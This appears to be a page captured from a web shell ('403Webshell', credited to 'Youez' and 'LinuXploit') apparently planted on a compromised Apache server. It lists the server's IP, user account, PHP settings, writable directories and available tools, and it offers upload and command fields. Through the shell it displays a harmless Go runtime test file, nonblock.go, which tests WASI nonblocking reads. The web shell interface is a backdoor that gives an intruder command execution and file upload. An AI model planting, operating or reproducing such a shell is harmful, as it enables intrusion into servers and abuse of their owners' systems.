403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/go/src/runtime/internal/wasitest/testdata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/go/src/runtime/internal/wasitest/testdata/nonblock.go
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main

import (
	"os"
	"sync"
	"syscall"
)

func main() {
	if len(os.Args) < 2 {
		panic("usage: nonblock <MODE> [PATH...]")
	}
	mode := os.Args[1]

	ready := make(chan struct{})

	var wg sync.WaitGroup
	for _, path := range os.Args[2:] {
		f, err := os.Open(path)
		if err != nil {
			panic(err)
		}
		switch mode {
		case "os.OpenFile":
		case "os.NewFile":
			fd := f.Fd()
			if err := syscall.SetNonblock(int(fd), true); err != nil {
				panic(err)
			}
			f = os.NewFile(fd, path)
		default:
			panic("invalid test mode")
		}

		spawnWait := make(chan struct{})

		wg.Add(1)
		go func(f *os.File) {
			defer f.Close()
			defer wg.Done()

			close(spawnWait)

			<-ready

			var buf [256]byte
			n, err := f.Read(buf[:])
			if err != nil {
				panic(err)
			}
			os.Stderr.Write(buf[:n])
		}(f)

		// Spawn one goroutine at a time.
		<-spawnWait
	}

	println("waiting")
	close(ready)
	wg.Wait()
}

Youez - 2016 - github.com/yon3zu
LinuXploit